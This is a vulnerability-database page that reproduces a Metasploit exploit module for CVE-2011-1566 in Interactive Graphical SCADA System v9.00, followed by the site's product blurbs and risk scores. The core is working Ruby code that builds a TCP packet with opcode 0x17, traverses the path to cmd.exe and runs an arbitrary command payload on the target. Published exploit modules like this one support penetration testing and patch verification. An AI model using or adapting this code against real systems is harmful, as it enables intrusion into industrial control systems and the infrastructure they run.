Lucene search
+L

Interactive Graphical SCADA System Remote Command Injection

🗓️ 21 Mar 2011 00:00:00Reported by Luigi Auriemma, MC <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 74 Views

Interactive Graphical SCADA System Remote Command Injection. Abuses directory traversal flaw in Interactive Graphical SCADA System v9.00. Allows arbitrary system command execution

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Interactive Graphical SCADA System Remote Command Injection',
        'Description' => %q{
          This module abuses a directory traversal flaw in Interactive
          Graphical SCADA System v9.00. In conjunction with the traversal
          flaw, if opcode 0x17 is sent to the dc.exe process, an attacker
          may be able to execute arbitrary system commands.
        },
        'Author' => [
          'Luigi Auriemma',
          'MC'
        ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2011-1566'],
          [ 'OSVDB', '72349'],
          [ 'URL', 'http://aluigi.org/adv/igss_8-adv.txt' ],
        ],
        'Platform' => 'win',
        'Arch' => ARCH_CMD,
        'Payload' => {
          'Space' => 153,
          'DisableNops' => true
        },
        'Targets' => [
          [ 'Windows', {} ]
        ],
        'DefaultTarget' => 0,
        'Privileged' => false,
        'DisclosureDate' => '2011-03-21',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        Opt::RPORT(12397)
      ]
    )
  end

  def exploit
    print_status("Sending exploit packet...")

    connect

    packet = [0x00000100].pack('V') + [0x00000000].pack('V')
    packet << [0x00000100].pack('V') + [0x00000017].pack('V')
    packet << [0x00000000].pack('V') + [0x00000000].pack('V')
    packet << [0x00000000].pack('V') + [0x00000000].pack('V')
    packet << [0x00000000].pack('V') + [0x00000000].pack('V')
    packet << [0x00000000].pack('V')
    packet << "..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\"
    packet << "windows\\system32\\cmd.exe\" /c #{payload.encoded}"
    packet << "\x00" * (143)

    sock.put(packet)
    sock.get_once(-1, 0.5)
    disconnect
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

21 Mar 2011 00:00Current
5.5Medium risk
Vulners AI Score5.5
CVSS 210
EPSS0.66982
74